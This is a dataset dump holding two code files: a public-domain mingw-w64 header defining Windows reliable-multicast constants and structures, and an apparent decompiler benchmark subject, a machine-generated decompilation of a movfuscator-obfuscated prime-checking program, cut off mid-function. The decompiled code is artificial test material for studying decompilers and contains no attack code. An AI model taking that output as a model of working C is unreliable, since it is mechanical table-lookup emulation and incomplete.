"LicenseRef-scancode-public-domain-disclaimer"
] | permissive | keenanlang/winepics | d0b385b93b8d7b099b95bf66c608637294da05fc | 5cae5bb9905889ad8694ece05b2b749904d7d39d | refs/heads/master | 2020-04-06T07:01:25.600675 | 2019-03-06T21:44:54 | 2019-03-06T21:44:54 | 42,735,349 | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 2,968 | h | /**
* This file has no copyright assigned and is placed in the Public Domain.
* This file is part of the w64 mingw-runtime package.
* No warranty is given; refer to the file DISCLAIMER.PD within this package.
*/
#ifndef _WSRM_H_
#define _WSRM_H_
#define IPPROTO_RM 113
#define MAX_MCAST_TTL 255
#define RM_OPTIONSBASE 1000
#define RM_RATE_WINDOW_SIZE (RM_OPTIONSBASE + 1)
#define RM_SET_MESSAGE_BOUNDARY (RM_OPTIONSBASE + 2)
#define RM_FLUSHCACHE (RM_OPTIONSBASE + 3)
#define RM_SENDER_WINDOW_ADVANCE_METHOD (RM_OPTIONSBASE + 4)
#define RM_SENDER_STATISTICS (RM_OPTIONSBASE + 5)
#define RM_LATEJOIN (RM_OPTIONSBASE + 6)
#define RM_SET_SEND_IF (RM_OPTIONSBASE + 7)
#define RM_ADD_RECEIVE_IF (RM_OPTIONSBASE + 8)
#define RM_DEL_RECEIVE_IF (RM_OPTIONSBASE + 9)
#define RM_SEND_WINDOW_ADV_RATE (RM_OPTIONSBASE + 10)
#define RM_USE_FEC (RM_OPTIONSBASE + 11)
#define RM_SET_MCAST_TTL (RM_OPTIONSBASE + 12)
#define RM_RECEIVER_STATISTICS (RM_OPTIONSBASE + 13)
#define RM_HIGH_SPEED_INTRANET_OPT (RM_OPTIONSBASE + 14)
#define SENDER_DEFAULT_RATE_KBITS_PER_SEC 56
#define SENDER_DEFAULT_WINDOW_SIZE_BYTES 10 *1000*1000
#define SENDER_DEFAULT_WINDOW_ADV_PERCENTAGE 15
#define MAX_WINDOW_INCREMENT_PERCENTAGE 25
#define SENDER_DEFAULT_LATE_JOINER_PERCENTAGE 0
#define SENDER_MAX_LATE_JOINER_PERCENTAGE 75
#define BITS_PER_BYTE 8
#define LOG2_BITS_PER_BYTE 3
enum eWINDOW_ADVANCE_METHOD {
E_WINDOW_ADVANCE_BY_TIME = 1,E_WINDOW_USE_AS_DATA_CACHE
};
typedef struct _RM_SEND_WINDOW {
ULONG RateKbitsPerSec;
ULONG WindowSizeInMSecs;
ULONG WindowSizeInBytes;
} RM_SEND_WINDOW;
typedef struct _RM_SENDER_STATS {
ULONGLONG DataBytesSent;
ULONGLONG TotalBytesSent;
ULONGLONG NaksReceived;
ULONGLONG NaksReceivedTooLate;
ULONGLONG NumOutstandingNaks;
ULONGLONG NumNaksAfterRData;
ULONGLONG RepairPacketsSent;
ULONGLONG BufferSpaceAvailable;
ULONGLONG TrailingEdgeSeqId;
ULONGLONG LeadingEdgeSeqId;
ULONGLONG RateKBitsPerSecOverall;
ULONGLONG RateKBitsPerSecLast;
ULONGLONG TotalODataPacketsSent;
} RM_SENDER_STATS;
typedef struct _RM_RECEIVER_STATS {
ULONGLONG NumODataPacketsReceived;
ULONGLONG NumRDataPacketsReceived;
ULONGLONG NumDuplicateDataPackets;
ULONGLONG DataBytesReceived;
ULONGLONG TotalBytesReceived;
ULONGLONG RateKBitsPerSecOverall;
ULONGLONG RateKBitsPerSecLast;
ULONGLONG TrailingEdgeSeqId;
ULONGLONG LeadingEdgeSeqId;
ULONGLONG AverageSequencesInWindow;
ULONGLONG MinSequencesInWindow;
ULONGLONG MaxSequencesInWindow;
ULONGLONG FirstNakSequenceNumber;
ULONGLONG NumPendingNaks;
ULONGLONG NumOutstandingNaks;
ULONGLONG NumDataPacketsBuffered;
ULONGLONG TotalSelectiveNaksSent;
ULONGLONG TotalParityNaksSent;
} RM_RECEIVER_STATS;
typedef struct _RM_FEC_INFO {
USHORT FECBlockSize;
USHORT FECProActivePackets;
UCHAR FECGroupSize;
BOOLEAN fFECOnDemandParityEnabled;
} RM_FEC_INFO;
#endif
| [
"klang@aps.anl.gov"
] | klang@aps.anl.gov |
de5cd72c1c92d6a3e0a15464f7eef6ddb41017b0 | 664a14b0998a94c1c5f2695a66c6452aaf6c2c49 | /from_holdec/movfuscator/prime/ia32_elf_movcc/by_jeb.c | 458e986286cfa594bd07a9675a063cc42a76b12c | [] | no_license | xiaobo996/decompiler-subjects | 2d8712a3ef0c031d2cf44b3e69ec8b03983cd366 | d8d55ee11f095405aeb420fa982f260dd85b5831 | refs/heads/master | 2023-03-15T10:26:13.249349 | 2021-03-14T16:47:33 | 2021-03-14T16:47:33 | null | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 196,122 | c |
void dispatch() {
jump external;
}
int is_prime() {
alu_x = target;
alu_y = 2281998180;
int v0 = (unsigned int)*(char*)&alu_x;
unsigned int v1 = (unsigned int)*(char*)((unsigned int)*(char*)&alu_y + *(unsigned int*)(v0 * 4 + (int)&alu_eq));
b0 = (unsigned int)*(char*)((unsigned int)*(char*)&alu_y + *(unsigned int*)(v0 * 4 + (int)&alu_eq));
v0 = (unsigned int)*((char*)&alu_x + 1) | ((unsigned int)((v0 >>> 8) & 0xffffff) << 8);
v1 = (unsigned int)*(char*)(((unsigned int)*((char*)&alu_y + 1) | ((unsigned int)((v1 >>> 8) & 0xffffff) << 8)) + *(unsigned int*)(v0 * 4 + (int)&alu_eq)) | ((unsigned int)((v1 >>> 8) & 0xffffff) << 8);
b1 = v1;
v0 = (unsigned int)*((char*)&alu_x + 2) | ((unsigned int)((v0 >>> 8) & 0xffffff) << 8);
v1 = (unsigned int)*(char*)(((unsigned int)*((char*)&alu_y + 2) | ((unsigned int)((v1 >>> 8) & 0xffffff) << 8)) + *(unsigned int*)(v0 * 4 + (int)&alu_eq)) | ((unsigned int)((v1 >>> 8) & 0xffffff) << 8);
b2 = v1;
b3 = (unsigned int)*(char*)(((unsigned int)*((char*)&alu_y + 3) | ((unsigned int)((v1 >>> 8) & 0xffffff) << 8)) + *(int*)(((unsigned int)*((char*)&alu_x + 3) | ((unsigned int)((v0 >>> 8) & 0xffffff) << 8)) * 4 + &alu_eq)) | ((unsigned int)((v1 >>> 8) & 0xffffff) << 8);
b0 = *(unsigned int*)(b1 * 4 + *(unsigned int*)(b0 * 4 + (int)&and));
b0 = *(unsigned int*)(b2 * 4 + *(unsigned int*)(b0 * 4 + (int)&and));
b0 = *(unsigned int*)(b3 * 4 + *(unsigned int*)(b0 * 4 + (int)&and));
unsigned int v2 = b0;
*(unsigned char*)*(unsigned char**)(v2 * 4 + (int)&sel_data) = *(int*)&jmp_r0;
**(unsigned int**)(v2 * 4 + (int)&sel_data) = jmp_r1;
**(unsigned int**)(v2 * 4 + (int)&sel_data) = jmp_r2;
**(unsigned int**)(v2 * 4 + (int)&sel_data) = jmp_r3;
*(unsigned char*)*(unsigned char**)(v2 * 4 + (int)&sel_data) = *(int*)&jmp_f0;
**(unsigned int**)(v2 * 4 + (int)&sel_data) = jmp_f1;
unsigned int* ptr0 = *(unsigned int*)(v2 * 4 + (int)&sel_data);
*ptr0 = *(int*)&jmp_d0;
*(ptr0 + 1) = gvar_85FD19C;
unsigned int* ptr1 = *(unsigned int*)(v2 * 4 + (int)&sel_data);
*ptr1 = jmp_d1;
*(ptr1 + 1) = gvar_85FD1A4;
**(unsigned int*)(b0 * 4 + (int)&sel_on) = 1;
stack_temp = fp;
unsigned int v3 = on;
**(unsigned int*)(v3 * 4 + (int)&sel_data) = *(int*)(sp - 0x200068);
unsigned int v4 = on;
data_p = sp;
**(unsigned int**)(v4 * 4 + (int)&sel_data) = stack_temp;
stack_temp = R1;
unsigned int v5 = on;
**(unsigned int*)(v5 * 4 + (int)&sel_data) = *(int*)(sp - 0x200068);
unsigned int v6 = on;
data_p = sp;
**(unsigned int**)(v6 * 4 + (int)&sel_data) = stack_temp;
stack_temp = R2;
unsigned int v7 = on;
**(unsigned int*)(v7 * 4 + (int)&sel_data) = *(int*)(sp - 0x200068);
unsigned int v8 = on;
data_p = sp;
**(unsigned int**)(v8 * 4 + (int)&sel_data) = stack_temp;
stack_temp = R3;
unsigned int v9 = on;
**(unsigned int*)(v9 * 4 + (int)&sel_data) = *(int*)(sp - 0x200068);
unsigned int v10 = on;
data_p = sp;
**(unsigned int**)(v10 * 4 + (int)&sel_data) = stack_temp;
stack_temp = F1;
unsigned int v11 = on;
**(unsigned int*)(v11 * 4 + (int)&sel_data) = *(int*)(sp - 0x200068);
unsigned int v12 = on;
data_p = sp;
**(unsigned int**)(v12 * 4 + (int)&sel_data) = stack_temp;
stack_temp = D1;
gvar_81FD104 = gvar_805406C;
unsigned int v13 = on;
**(unsigned int*)(v13 * 4 + (int)&sel_data) = *(int*)(*(int*)(sp - 0x200068) - 0x200068);
unsigned int v14 = on;
data_p = sp;
unsigned int* ptr2 = *(unsigned int*)(v14 * 4 + (int)&sel_data);
*ptr2 = stack_temp;
*(ptr2 + 1) = gvar_81FD104;
unsigned int v15 = on;
**(unsigned int**)(v15 * 4 + (int)&sel_data) = sp;
stack_temp = *(unsigned int*)(sp - 0x200068);
unsigned int v16 = on;
**(unsigned int**)(v16 * 4 + (int)&sel_data) = stack_temp;
R3 = *(unsigned int*)(*(int*)(*(int*)(*(int*)(*(int*)(*(int*)(*(int*)(*(int*)(fp - 0x200060) - 0x200060) - 0x200060) - 0x200060) - 0x200060) - 0x200060) - 0x200060) - 0x200060);
unsigned int v17 = on;
data_p = R3;
R3 = **(unsigned int**)(v17 * 4 + (int)&sel_data);
R2 = 1;
unsigned int v18 = R3;
unsigned int v19 = R2;
branch_temp = 2282000108;
alu_x = v18;
alu_y = v19;
alu_t = v19;
alu_c = 1;
int v20 = (unsigned int)*(short*)&alu_x;
unsigned int v21 = alu_c;
int v22 = *(int*)(v21 * 4 + *(int*)(*(int*)((unsigned int)*(unsigned short*)((unsigned int)*(short*)&alu_y * 2 + (int)&alu_inv16) * 4 + *(unsigned int*)(v20 * 4 + (int)&alu_add16)) * 4 + &alu_add16));
*(short*)&alu_s = (unsigned short)v22;
*(int*)0x81FCFEE = v22;
int v23 = *(int*)(alu_c * 4 + *(int*)(*(int*)(((unsigned int)*(short*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v21 >>> 16) << 16)) * 2 + &alu_inv16) | ((unsigned int)(unsigned short)(v21 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v20 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_s + 2) = (unsigned short)v23;
*(int*)0x81FCFEE = v23;
alu_y = alu_t;
int v24 = (unsigned int)*(char*)((unsigned int)*(char*)&alu_c + (int)&alu_false);
cf = *(unsigned char*)((unsigned int)*(char*)&alu_c + (int)&alu_false);
*(char*)&sf = (unsigned char)*(int*)(((unsigned int)*((char*)&alu_s + 3) | ((unsigned int)((v24 >>> 8) & 0xffffff) << 8)) * 4 + &alu_b7);
int v25 = (unsigned int)*(char*)&alu_s;
int v26 = (unsigned int)*(unsigned char*)((int)&alu_true + v25);
v25 = (unsigned int)*((char*)&alu_s + 1) | ((unsigned int)((v25 >>> 8) & 0xffffff) << 8);
v26 = (unsigned int)*(unsigned char*)((int)(int*)((int)&alu_true + v26) + v25) | ((unsigned int)((v26 >>> 8) & 0xffffff) << 8);
v25 = (unsigned int)*((char*)&alu_s + 2) | ((unsigned int)((v25 >>> 8) & 0xffffff) << 8);
v26 = (unsigned int)*(char*)(((unsigned int)*(char*)(((unsigned int)*((char*)&alu_s + 3) | ((unsigned int)((v25 >>> 8) & 0xffffff) << 8)) + v26 + &alu_true) | ((unsigned int)((v26 >>> 8) & 0xffffff) << 8)) + &alu_false) | ((unsigned int)((v26 >>> 8) & 0xffffff) << 8);
*(char*)&zf = (unsigned char)v26;
int v27 = *(int*)(((unsigned int)*((char*)&alu_x + 3) | ((unsigned int)((v26 >>> 8) & 0xffffff) << 8)) * 4 + &alu_b7);
int v28 = *(int*)(((unsigned int)*((char*)&alu_y + 3) | ((unsigned int)((v27 >>> 8) & 0xffffff) << 8)) * 4 + &alu_b7);
*(char*)&of = (unsigned char)**(unsigned int*)(*(int*)(((unsigned int)*((char*)&alu_s + 3) | ((unsigned int)((v28 >>> 8) & 0xffffff) << 8)) * 4 + &alu_b7) * 4 + *(int*)(v28 * 4 + *(int*)(v27 * 4 + (int)&alu_cmp_of)));
b0 = *(unsigned int*)(zf * 4 + (int)&alu_false);
b0 = *(unsigned int*)(on * 4 + *(unsigned int*)(b0 * 4 + (int)&and));
**(unsigned int**)(b0 * 4 + (int)&sel_target) = branch_temp;
unsigned int v29 = b0;
unsigned int* ptr3 = *(unsigned int*)(v29 * 4 + (int)&sel_data);
*ptr3 = R0;
*(ptr3 + 1) = R1;
*(ptr3 + 2) = R2;
*(ptr3 + 3) = R3;
unsigned int* ptr4 = *(unsigned int*)(v29 * 4 + (int)&sel_data);
*ptr4 = F0;
*(ptr4 + 1) = F1;
unsigned int* ptr5 = *(unsigned int*)(v29 * 4 + (int)&sel_data);
*ptr5 = D0;
*(ptr5 + 1) = gvar_8054064;
*(ptr5 + 2) = D1;
*(ptr5 + 3) = gvar_805406C;
**(unsigned int*)(b0 * 4 + (int)&sel_on) = 0;
R0 = 0;
branch_temp = 0x88050155;
**(unsigned int**)(on * 4 + (int)&sel_target) = branch_temp;
unsigned int v30 = on;
unsigned int* ptr6 = *(unsigned int*)(v30 * 4 + (int)&sel_data);
*ptr6 = R0;
*(ptr6 + 1) = R1;
*(ptr6 + 2) = R2;
*(ptr6 + 3) = R3;
unsigned int* ptr7 = *(unsigned int*)(v30 * 4 + (int)&sel_data);
*ptr7 = F0;
*(ptr7 + 1) = F1;
unsigned int* ptr8 = *(unsigned int*)(v30 * 4 + (int)&sel_data);
*ptr8 = D0;
*(ptr8 + 1) = gvar_8054064;
*(ptr8 + 2) = D1;
*(ptr8 + 3) = gvar_805406C;
**(unsigned int*)(on * 4 + (int)&sel_on) = 0;
alu_x = target;
alu_y = 2282000108;
int v31 = (unsigned int)*(char*)&alu_x;
unsigned int v32 = (unsigned int)*(char*)((unsigned int)*(char*)&alu_y + *(unsigned int*)(v31 * 4 + (int)&alu_eq));
b0 = (unsigned int)*(char*)((unsigned int)*(char*)&alu_y + *(unsigned int*)(v31 * 4 + (int)&alu_eq));
v31 = (unsigned int)*((char*)&alu_x + 1) | ((unsigned int)((v31 >>> 8) & 0xffffff) << 8);
v32 = (unsigned int)*(char*)(((unsigned int)*((char*)&alu_y + 1) | ((unsigned int)((v32 >>> 8) & 0xffffff) << 8)) + *(unsigned int*)(v31 * 4 + (int)&alu_eq)) | ((unsigned int)((v32 >>> 8) & 0xffffff) << 8);
b1 = v32;
v31 = (unsigned int)*((char*)&alu_x + 2) | ((unsigned int)((v31 >>> 8) & 0xffffff) << 8);
v32 = (unsigned int)*(char*)(((unsigned int)*((char*)&alu_y + 2) | ((unsigned int)((v32 >>> 8) & 0xffffff) << 8)) + *(unsigned int*)(v31 * 4 + (int)&alu_eq)) | ((unsigned int)((v32 >>> 8) & 0xffffff) << 8);
b2 = v32;
b3 = (unsigned int)*(char*)(((unsigned int)*((char*)&alu_y + 3) | ((unsigned int)((v32 >>> 8) & 0xffffff) << 8)) + *(int*)(((unsigned int)*((char*)&alu_x + 3) | ((unsigned int)((v31 >>> 8) & 0xffffff) << 8)) * 4 + &alu_eq)) | ((unsigned int)((v32 >>> 8) & 0xffffff) << 8);
b0 = *(unsigned int*)(b1 * 4 + *(unsigned int*)(b0 * 4 + (int)&and));
b0 = *(unsigned int*)(b2 * 4 + *(unsigned int*)(b0 * 4 + (int)&and));
b0 = *(unsigned int*)(b3 * 4 + *(unsigned int*)(b0 * 4 + (int)&and));
unsigned int v33 = b0;
*(unsigned char*)*(unsigned char**)(v33 * 4 + (int)&sel_data) = *(int*)&jmp_r0;
**(unsigned int**)(v33 * 4 + (int)&sel_data) = jmp_r1;
**(unsigned int**)(v33 * 4 + (int)&sel_data) = jmp_r2;
**(unsigned int**)(v33 * 4 + (int)&sel_data) = jmp_r3;
*(unsigned char*)*(unsigned char**)(v33 * 4 + (int)&sel_data) = *(int*)&jmp_f0;
**(unsigned int**)(v33 * 4 + (int)&sel_data) = jmp_f1;
unsigned int* ptr9 = *(unsigned int*)(v33 * 4 + (int)&sel_data);
*ptr9 = *(int*)&jmp_d0;
*(ptr9 + 1) = gvar_85FD19C;
unsigned int* ptr10 = *(unsigned int*)(v33 * 4 + (int)&sel_data);
*ptr10 = jmp_d1;
*(ptr10 + 1) = gvar_85FD1A4;
**(unsigned int*)(b0 * 4 + (int)&sel_on) = 1;
R3 = *(unsigned int*)(*(int*)(*(int*)(*(int*)(*(int*)(*(int*)(*(int*)(*(int*)(fp - 0x200060) - 0x200060) - 0x200060) - 0x200060) - 0x200060) - 0x200060) - 0x200060) - 0x200060);
unsigned int v34 = on;
data_p = R3;
R3 = **(unsigned int**)(v34 * 4 + (int)&sel_data);
R2 = 2;
unsigned int v35 = R3;
unsigned int v36 = R2;
branch_temp = 2282001465;
alu_x = v35;
alu_y = v36;
alu_t = v36;
alu_c = 1;
int v37 = (unsigned int)*(short*)&alu_x;
unsigned int v38 = alu_c;
int v39 = *(int*)(v38 * 4 + *(int*)(*(int*)((unsigned int)*(unsigned short*)((unsigned int)*(short*)&alu_y * 2 + (int)&alu_inv16) * 4 + *(unsigned int*)(v37 * 4 + (int)&alu_add16)) * 4 + &alu_add16));
*(short*)&alu_s = (unsigned short)v39;
*(int*)0x81FCFEE = v39;
int v40 = *(int*)(alu_c * 4 + *(int*)(*(int*)(((unsigned int)*(short*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v38 >>> 16) << 16)) * 2 + &alu_inv16) | ((unsigned int)(unsigned short)(v38 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v37 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_s + 2) = (unsigned short)v40;
*(int*)0x81FCFEE = v40;
alu_y = alu_t;
int v41 = (unsigned int)*(char*)((unsigned int)*(char*)&alu_c + (int)&alu_false);
*(char*)&sf = (unsigned char)*(int*)(((unsigned int)*((char*)&alu_s + 3) | ((unsigned int)((v41 >>> 8) & 0xffffff) << 8)) * 4 + &alu_b7);
int v42 = (unsigned int)*(char*)&alu_s;
int v43 = (unsigned int)*(unsigned char*)((int)&alu_true + v42);
v42 = (unsigned int)*((char*)&alu_s + 1) | ((unsigned int)((v42 >>> 8) & 0xffffff) << 8);
v43 = (unsigned int)*(unsigned char*)((int)(int*)((int)&alu_true + v43) + v42) | ((unsigned int)((v43 >>> 8) & 0xffffff) << 8);
v42 = (unsigned int)*((char*)&alu_s + 2) | ((unsigned int)((v42 >>> 8) & 0xffffff) << 8);
v43 = (unsigned int)*(char*)(((unsigned int)*(char*)(((unsigned int)*((char*)&alu_s + 3) | ((unsigned int)((v42 >>> 8) & 0xffffff) << 8)) + v43 + &alu_true) | ((unsigned int)((v43 >>> 8) & 0xffffff) << 8)) + &alu_false) | ((unsigned int)((v43 >>> 8) & 0xffffff) << 8);
*(char*)&zf = (unsigned char)v43;
int v44 = *(int*)(((unsigned int)*((char*)&alu_x + 3) | ((unsigned int)((v43 >>> 8) & 0xffffff) << 8)) * 4 + &alu_b7);
int v45 = *(int*)(((unsigned int)*((char*)&alu_y + 3) | ((unsigned int)((v44 >>> 8) & 0xffffff) << 8)) * 4 + &alu_b7);
*(char*)&of = (unsigned char)**(unsigned int*)(*(int*)(((unsigned int)*((char*)&alu_s + 3) | ((unsigned int)((v45 >>> 8) & 0xffffff) << 8)) * 4 + &alu_b7) * 4 + *(int*)(v45 * 4 + *(int*)(v44 * 4 + (int)&alu_cmp_of)));
b0 = *(unsigned int*)(zf * 4 + (int)&alu_false);
b0 = *(unsigned int*)(on * 4 + *(unsigned int*)(b0 * 4 + (int)&and));
**(unsigned int**)(b0 * 4 + (int)&sel_target) = branch_temp;
unsigned int v46 = b0;
unsigned int* ptr11 = *(unsigned int*)(v46 * 4 + (int)&sel_data);
*ptr11 = R0;
*(ptr11 + 1) = R1;
*(ptr11 + 2) = R2;
*(ptr11 + 3) = R3;
unsigned int* ptr12 = *(unsigned int*)(v46 * 4 + (int)&sel_data);
*ptr12 = F0;
*(ptr12 + 1) = F1;
unsigned int* ptr13 = *(unsigned int*)(v46 * 4 + (int)&sel_data);
*ptr13 = D0;
*(ptr13 + 1) = gvar_8054064;
*(ptr13 + 2) = D1;
*(ptr13 + 3) = gvar_805406C;
**(unsigned int*)(b0 * 4 + (int)&sel_on) = 0;
R0 = 1;
branch_temp = 0x88050155;
**(unsigned int**)(on * 4 + (int)&sel_target) = branch_temp;
unsigned int v47 = on;
unsigned int* ptr14 = *(unsigned int*)(v47 * 4 + (int)&sel_data);
*ptr14 = R0;
*(ptr14 + 1) = R1;
*(ptr14 + 2) = R2;
*(ptr14 + 3) = R3;
unsigned int* ptr15 = *(unsigned int*)(v47 * 4 + (int)&sel_data);
*ptr15 = F0;
*(ptr15 + 1) = F1;
unsigned int* ptr16 = *(unsigned int*)(v47 * 4 + (int)&sel_data);
*ptr16 = D0;
*(ptr16 + 1) = gvar_8054064;
*(ptr16 + 2) = D1;
*(ptr16 + 3) = gvar_805406C;
**(unsigned int*)(on * 4 + (int)&sel_on) = 0;
alu_x = target;
alu_y = 2282001465;
int v48 = (unsigned int)*(char*)&alu_x;
unsigned int v49 = (unsigned int)*(char*)((unsigned int)*(char*)&alu_y + *(unsigned int*)(v48 * 4 + (int)&alu_eq));
b0 = (unsigned int)*(char*)((unsigned int)*(char*)&alu_y + *(unsigned int*)(v48 * 4 + (int)&alu_eq));
v48 = (unsigned int)*((char*)&alu_x + 1) | ((unsigned int)((v48 >>> 8) & 0xffffff) << 8);
v49 = (unsigned int)*(char*)(((unsigned int)*((char*)&alu_y + 1) | ((unsigned int)((v49 >>> 8) & 0xffffff) << 8)) + *(unsigned int*)(v48 * 4 + (int)&alu_eq)) | ((unsigned int)((v49 >>> 8) & 0xffffff) << 8);
b1 = v49;
v48 = (unsigned int)*((char*)&alu_x + 2) | ((unsigned int)((v48 >>> 8) & 0xffffff) << 8);
v49 = (unsigned int)*(char*)(((unsigned int)*((char*)&alu_y + 2) | ((unsigned int)((v49 >>> 8) & 0xffffff) << 8)) + *(unsigned int*)(v48 * 4 + (int)&alu_eq)) | ((unsigned int)((v49 >>> 8) & 0xffffff) << 8);
b2 = v49;
b3 = (unsigned int)*(char*)(((unsigned int)*((char*)&alu_y + 3) | ((unsigned int)((v49 >>> 8) & 0xffffff) << 8)) + *(int*)(((unsigned int)*((char*)&alu_x + 3) | ((unsigned int)((v48 >>> 8) & 0xffffff) << 8)) * 4 + &alu_eq)) | ((unsigned int)((v49 >>> 8) & 0xffffff) << 8);
b0 = *(unsigned int*)(b1 * 4 + *(unsigned int*)(b0 * 4 + (int)&and));
b0 = *(unsigned int*)(b2 * 4 + *(unsigned int*)(b0 * 4 + (int)&and));
b0 = *(unsigned int*)(b3 * 4 + *(unsigned int*)(b0 * 4 + (int)&and));
unsigned int v50 = b0;
*(unsigned char*)*(unsigned char**)(v50 * 4 + (int)&sel_data) = *(int*)&jmp_r0;
**(unsigned int**)(v50 * 4 + (int)&sel_data) = jmp_r1;
**(unsigned int**)(v50 * 4 + (int)&sel_data) = jmp_r2;
**(unsigned int**)(v50 * 4 + (int)&sel_data) = jmp_r3;
*(unsigned char*)*(unsigned char**)(v50 * 4 + (int)&sel_data) = *(int*)&jmp_f0;
**(unsigned int**)(v50 * 4 + (int)&sel_data) = jmp_f1;
unsigned int* ptr17 = *(unsigned int*)(v50 * 4 + (int)&sel_data);
*ptr17 = *(int*)&jmp_d0;
*(ptr17 + 1) = gvar_85FD19C;
unsigned int* ptr18 = *(unsigned int*)(v50 * 4 + (int)&sel_data);
*ptr18 = jmp_d1;
*(ptr18 + 1) = gvar_85FD1A4;
**(unsigned int*)(b0 * 4 + (int)&sel_on) = 1;
R3 = 2;
unsigned int v51 = on;
**(unsigned int**)(v51 * 4 + (int)&sel_data) = R3;
branch_temp = 2282026607;
**(unsigned int**)(on * 4 + (int)&sel_target) = branch_temp;
unsigned int v52 = on;
unsigned int* ptr19 = *(unsigned int*)(v52 * 4 + (int)&sel_data);
*ptr19 = R0;
*(ptr19 + 1) = R1;
*(ptr19 + 2) = R2;
*(ptr19 + 3) = R3;
unsigned int* ptr20 = *(unsigned int*)(v52 * 4 + (int)&sel_data);
*ptr20 = F0;
*(ptr20 + 1) = F1;
unsigned int* ptr21 = *(unsigned int*)(v52 * 4 + (int)&sel_data);
*ptr21 = D0;
*(ptr21 + 1) = gvar_8054064;
*(ptr21 + 2) = D1;
*(ptr21 + 3) = gvar_805406C;
**(unsigned int*)(on * 4 + (int)&sel_on) = 0;
alu_x = target;
alu_y = 2282002178;
int v53 = (unsigned int)*(char*)&alu_x;
unsigned int v54 = (unsigned int)*(char*)((unsigned int)*(char*)&alu_y + *(unsigned int*)(v53 * 4 + (int)&alu_eq));
b0 = (unsigned int)*(char*)((unsigned int)*(char*)&alu_y + *(unsigned int*)(v53 * 4 + (int)&alu_eq));
v53 = (unsigned int)*((char*)&alu_x + 1) | ((unsigned int)((v53 >>> 8) & 0xffffff) << 8);
v54 = (unsigned int)*(char*)(((unsigned int)*((char*)&alu_y + 1) | ((unsigned int)((v54 >>> 8) & 0xffffff) << 8)) + *(unsigned int*)(v53 * 4 + (int)&alu_eq)) | ((unsigned int)((v54 >>> 8) & 0xffffff) << 8);
b1 = v54;
v53 = (unsigned int)*((char*)&alu_x + 2) | ((unsigned int)((v53 >>> 8) & 0xffffff) << 8);
v54 = (unsigned int)*(char*)(((unsigned int)*((char*)&alu_y + 2) | ((unsigned int)((v54 >>> 8) & 0xffffff) << 8)) + *(unsigned int*)(v53 * 4 + (int)&alu_eq)) | ((unsigned int)((v54 >>> 8) & 0xffffff) << 8);
b2 = v54;
b3 = (unsigned int)*(char*)(((unsigned int)*((char*)&alu_y + 3) | ((unsigned int)((v54 >>> 8) & 0xffffff) << 8)) + *(int*)(((unsigned int)*((char*)&alu_x + 3) | ((unsigned int)((v53 >>> 8) & 0xffffff) << 8)) * 4 + &alu_eq)) | ((unsigned int)((v54 >>> 8) & 0xffffff) << 8);
b0 = *(unsigned int*)(b1 * 4 + *(unsigned int*)(b0 * 4 + (int)&and));
b0 = *(unsigned int*)(b2 * 4 + *(unsigned int*)(b0 * 4 + (int)&and));
b0 = *(unsigned int*)(b3 * 4 + *(unsigned int*)(b0 * 4 + (int)&and));
unsigned int v55 = b0;
*(unsigned char*)*(unsigned char**)(v55 * 4 + (int)&sel_data) = *(int*)&jmp_r0;
**(unsigned int**)(v55 * 4 + (int)&sel_data) = jmp_r1;
**(unsigned int**)(v55 * 4 + (int)&sel_data) = jmp_r2;
**(unsigned int**)(v55 * 4 + (int)&sel_data) = jmp_r3;
*(unsigned char*)*(unsigned char**)(v55 * 4 + (int)&sel_data) = *(int*)&jmp_f0;
**(unsigned int**)(v55 * 4 + (int)&sel_data) = jmp_f1;
unsigned int* ptr22 = *(unsigned int*)(v55 * 4 + (int)&sel_data);
*ptr22 = *(int*)&jmp_d0;
*(ptr22 + 1) = gvar_85FD19C;
unsigned int* ptr23 = *(unsigned int*)(v55 * 4 + (int)&sel_data);
*ptr23 = jmp_d1;
*(ptr23 + 1) = gvar_85FD1A4;
**(unsigned int*)(b0 * 4 + (int)&sel_on) = 1;
R3 = *(unsigned int*)(*(int*)(*(int*)(*(int*)(*(int*)(*(int*)(*(int*)(*(int*)(fp - 0x200060) - 0x200060) - 0x200060) - 0x200060) - 0x200060) - 0x200060) - 0x200060) - 0x200060);
unsigned int v56 = on;
data_p = R3;
R3 = **(unsigned int**)(v56 * 4 + (int)&sel_data);
R2 = *(unsigned int*)(fp - 0x200068);
unsigned int v57 = on;
data_p = R2;
R2 = **(unsigned int**)(v57 * 4 + (int)&sel_data);
unsigned int v58 = R2;
alu_n = R3;
alu_d = v58;
alu_ns = *(unsigned int*)((unsigned int)*((char*)&alu_n + 3) * 4 + (int)&alu_b7);
alu_ds = *(unsigned int*)((unsigned int)*((char*)&alu_d + 3) * 4 + (int)&alu_b7);
alu_rs = alu_ns;
alu_y = alu_n;
alu_x = 0;
alu_c = 1;
int v59 = (unsigned int)*(short*)&alu_x;
unsigned int v60 = alu_c;
int v61 = *(int*)(v60 * 4 + *(int*)(*(int*)((unsigned int)*(unsigned short*)((unsigned int)*(short*)&alu_y * 2 + (int)&alu_inv16) * 4 + *(unsigned int*)(v59 * 4 + (int)&alu_add16)) * 4 + &alu_add16));
*(short*)&alu_s = (unsigned short)v61;
*(int*)0x81FCFEE = v61;
int v62 = *(int*)(alu_c * 4 + *(int*)(*(int*)(((unsigned int)*(short*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v60 >>> 16) << 16)) * 2 + &alu_inv16) | ((unsigned int)(unsigned short)(v60 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v59 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_s + 2) = (unsigned short)v62;
*(int*)0x81FCFEE = v62;
unsigned int v63 = alu_s;
unsigned int v64 = alu_ns;
**(unsigned int**)(v64 * 4 + (int)&sel_data) = v63;
alu_y = alu_d;
alu_x = 0;
alu_c = 1;
int v65 = (unsigned int)*(short*)&alu_x;
unsigned int v66 = alu_c;
